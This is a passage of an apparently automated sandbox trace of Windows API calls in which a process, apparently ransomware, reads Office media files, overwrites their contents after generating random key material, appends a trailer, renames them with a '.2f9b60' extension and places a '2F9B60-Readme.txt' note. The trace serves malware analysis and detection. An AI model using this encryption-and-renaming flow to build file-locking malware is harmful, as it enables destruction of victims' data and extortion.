[0217.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0217.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0217.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0217.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0217.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7a0) returned 1 [0217.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.947] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="75") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="9e") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="8e") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="43") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="ef") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="d9") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="16") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="8f") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="15") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="30") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="6b") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="25") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="ad") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="e1") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="45") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="98") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="06") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="df") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.947] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="cf") returned 2 [0217.948] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.948] RtlInitAnsiString (in: DestinationString=0x2c9cfe48, SourceString="759e8e43c2ef8cd9168f15fb306b25ade1459806dffecf7e" | out: DestinationString="759e8e43c2ef8cd9168f15fb306b25ade1459806dffecf7e") [0217.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c9cfe18, SourceString="759e8e43c2ef8cd9168f15fb306b25ade1459806dffecf7e", AllocateDestinationString=1 | out: DestinationString="759e8e43c2ef8cd9168f15fb306b25ade1459806dffecf7e") returned 0x0 [0217.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f750 [0217.948] wcscat (in: _Dest=0x431f2eb0, _Source="759e8e43c2ef" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\759e8e43c2ef") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\759e8e43c2ef" [0217.948] wcscat (in: _Dest=0x431f2eb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\759e8e43c2ef.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\759e8e43c2ef.2f9b60" [0217.948] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\759e8e43c2ef.2f9b60", NtPathName=0x2c9cfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\759e8e43c2ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430feda0 Thread: id = 3559 os_tid = 0x10d4 [0210.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf")) returned 0x20 [0210.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF", dwFileAttributes=0x20) returned 1 [0210.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x794 [0210.902] GetFileSizeEx (in: hFile=0x794, lpFileSize=0x2e00f700 | out: lpFileSize=0x2e00f700*=3132) returned 1 [0210.902] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0xc38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.903] ReadFile (in: hFile=0x794, lpBuffer=0x2e00f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e00f6c8, lpOverlapped=0x0 | out: lpBuffer=0x2e00f680*, lpNumberOfBytesRead=0x2e00f6c8*=0x4, lpOverlapped=0x0) returned 1 [0210.925] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e60 [0210.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8680 [0210.927] NtQuerySystemTime (in: CurrentTime=0x2e00f5c0 | out: CurrentTime=0x2e00f5c0*=132462178157866000) returned 0x0 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x4c1c3b43 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x4cc91c51 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x55205db7 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x368cad73 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x54ba4466 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x659170dc [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x6510e69c [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x3e301b89 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x370b3ca [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x2d88cc7a [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x1cd99c28 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x65effac7 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0xda8e58c [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x2afba02d [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x72bd2fe6 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x27948716 [0210.927] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x268d1a5 [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x3a7fe75 [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x11b170dc [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x41335c23 [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x7268eabd [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x429243a9 [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x2d1f2ded [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x8b74674 [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x5ec94dbd [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x273f920f [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x4b304a7e [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x6a638544 [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x2160c07c [0210.928] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x2a8fd8e0 [0210.929] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0x1b762462 [0210.929] RtlRandomEx (in: Seed=0x2e00f5b0 | out: Seed=0x2e00f5b0) returned 0xd504927 [0210.938] ReadFile (in: hFile=0x794, lpBuffer=0x2040a6d0, nNumberOfBytesToRead=0xc3c, lpNumberOfBytesRead=0x2e00f5b0, lpOverlapped=0x0 | out: lpBuffer=0x2040a6d0*, lpNumberOfBytesRead=0x2e00f5b0*=0xc3c, lpOverlapped=0x0) returned 1 [0210.938] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.939] WriteFile (in: hFile=0x794, lpBuffer=0x20428750*, nNumberOfBytesToWrite=0xc3c, lpNumberOfBytesWritten=0x2e00f5b4, lpOverlapped=0x0 | out: lpBuffer=0x20428750*, lpNumberOfBytesWritten=0x2e00f5b4*=0xc3c, lpOverlapped=0x0) returned 1 [0215.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135980 [0215.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b60 [0215.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135b60) returned 1 [0215.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20428750) returned 1 [0215.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2040a6d0) returned 1 [0215.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23e20) returned 1 [0215.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61dd0) returned 1 [0215.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43135b60 [0215.427] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.427] WriteFile (in: hFile=0x794, lpBuffer=0x423ab070*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e00f6d0, lpOverlapped=0x0 | out: lpBuffer=0x423ab070*, lpNumberOfBytesWritten=0x2e00f6d0*=0x10a, lpOverlapped=0x0) returned 1 [0217.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0217.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0217.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9280) returned 1 [0217.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d020 [0217.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0217.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0217.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e30) returned 1 [0217.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0217.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.796] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="4e") returned 2 [0217.796] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="13") returned 2 [0217.796] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="73") returned 2 [0217.796] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="f7") returned 2 [0217.796] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="2b") returned 2 [0217.796] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="56") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="1a") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="45") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="a3") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="04") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="cf") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="0a") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="6b") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="0b") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="1f") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="20") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="90") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="f9") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="85") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="76") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="5a") returned 2 [0217.797] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="66") returned 2 [0217.797] RtlInitAnsiString (in: DestinationString=0x2e00f748, SourceString="4e1373f72b561a45a304cfb20aab6b0b1f2090f985765a66" | out: DestinationString="4e1373f72b561a45a304cfb20aab6b0b1f2090f985765a66") [0217.797] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e00f718, SourceString="4e1373f72b561a45a304cfb20aab6b0b1f2090f985765a66", AllocateDestinationString=1 | out: DestinationString="4e1373f72b561a45a304cfb20aab6b0b1f2090f985765a66") returned 0x0 [0217.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431060f0 [0217.798] wcscat (in: _Dest=0x4314fa60, _Source="4e1373f72b56" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4e1373f72b56") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4e1373f72b56" [0217.798] wcscat (in: _Dest=0x4314fa60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4e1373f72b56.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4e1373f72b56.2f9b60" [0217.798] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4e1373f72b56.2f9b60", NtPathName=0x2e00f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4e1373f72b56.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe530 [0223.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fe530) returned 1 [0223.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bb920) returned 1 [0223.931] NtQueryInformationFile (in: FileHandle=0x794, IoStatusBlock=0x2e00f758, FileInformation=0x2e00f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e00f758, FileInformation=0x2e00f768) returned 0x0 [0223.931] NtSetInformationFile (FileHandle=0x794, IoStatusBlock=0x2e00f758, FileInformation=0x2e00f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fa60) returned 1 [0225.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431060f0) returned 1 [0225.294] FlushFileBuffers (hFile=0x794) returned 1 [0225.550] CloseHandle (hObject=0x794) returned 1 [0225.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad290 [0225.998] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0225.998] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0225.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0225.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0225.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9940) returned 1 Thread: id = 3560 os_tid = 0x2230 [0210.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf")) returned 0x20 [0210.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF", dwFileAttributes=0x20) returned 1 [0210.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd34 [0210.923] GetFileSizeEx (in: hFile=0xd34, lpFileSize=0x215dfbe0 | out: lpFileSize=0x215dfbe0*=1564) returned 1 [0210.923] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x618, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.923] ReadFile (in: hFile=0xd34, lpBuffer=0x215dfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x215dfba8, lpOverlapped=0x0 | out: lpBuffer=0x215dfb60*, lpNumberOfBytesRead=0x215dfba8*=0x4, lpOverlapped=0x0) returned 1 [0210.942] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8680 [0210.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9340 [0210.943] NtQuerySystemTime (in: CurrentTime=0x215dfaa0 | out: CurrentTime=0x215dfaa0*=132462178158022000) returned 0x0 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x531bcc64 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x6bd78366 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x65f185e [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x9ada000 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x6713ea36 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x626a9472 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0xc7b58aa [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x663cd3dc [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x203eb0a5 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x664539f9 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x5efe7386 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x565f7884 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x700dcc6b [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x7a4ebc93 [0210.944] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x6566981c [0210.945] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0xb72f52c [0210.945] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x14818fb2 [0210.945] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x5bc6103d [0210.945] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x5a655b21 [0210.945] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x54122f45 [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x1ed5a075 [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x29f925ba [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x7e21fe55 [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x20197a36 [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x7b4b6a9e [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x5f3c46eb [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x6676bd5c [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x500a0ed [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x55d8886c [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x2c4c1909 [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x5176bc83 [0210.946] RtlRandomEx (in: Seed=0x215dfa90 | out: Seed=0x215dfa90) returned 0x12ec14b9 [0210.956] ReadFile (in: hFile=0xd34, lpBuffer=0x20420f30, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x215dfa90, lpOverlapped=0x0 | out: lpBuffer=0x20420f30*, lpNumberOfBytesRead=0x215dfa90*=0x61c, lpOverlapped=0x0) returned 1 [0210.956] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.957] WriteFile (in: hFile=0xd34, lpBuffer=0x20424b40*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x215dfa94, lpOverlapped=0x0 | out: lpBuffer=0x20424b40*, lpNumberOfBytesWritten=0x215dfa94*=0x61c, lpOverlapped=0x0) returned 1 [0215.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b6e0 [0215.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b740 [0215.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b740) returned 1 [0215.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20424b40) returned 1 [0215.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20420f30) returned 1 [0215.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24620) returned 1 [0215.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d80) returned 1 [0215.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313b740 [0215.433] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.433] WriteFile (in: hFile=0xd34, lpBuffer=0x423aaf50*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x215dfbb0, lpOverlapped=0x0 | out: lpBuffer=0x423aaf50*, lpNumberOfBytesWritten=0x215dfbb0*=0x10a, lpOverlapped=0x0) returned 1 [0217.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0217.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8770) returned 1 [0217.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0217.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 